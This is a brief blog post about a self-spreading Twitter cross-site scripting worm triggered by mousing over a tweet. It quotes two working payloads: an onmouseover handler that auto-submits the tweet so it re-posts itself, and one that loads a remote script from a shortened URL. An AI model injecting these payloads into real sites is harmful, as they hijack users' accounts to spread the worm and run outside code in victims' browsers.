Today popular social networking site Twitter has been (once again) hacked. This time the hack operates when you mouse-over a link that covers the entire screen area, this in turn re-tweets the hack to all of your followers.
Pretty nasty (but clever) stuff.
So far theyve taken down the source/varient pages because people are playing with the exploit and making things worse (I’m looking at you John lol).
For the near future ii’m moving my twitosphere to Tweetdeck which cant be effected by such foolishness.
The Hacks look like this:
“onmouseover=”;$(‘textarea:first’).val(this.innerHTML);$(‘.status-update-form’).submit()” style=”color:#009;background:#005;/
“style=”font-size:999999999999px;”onmouseover=”$.getScript(‘http:\u002f\u002fis.gd\u002ffl9A7′)”/
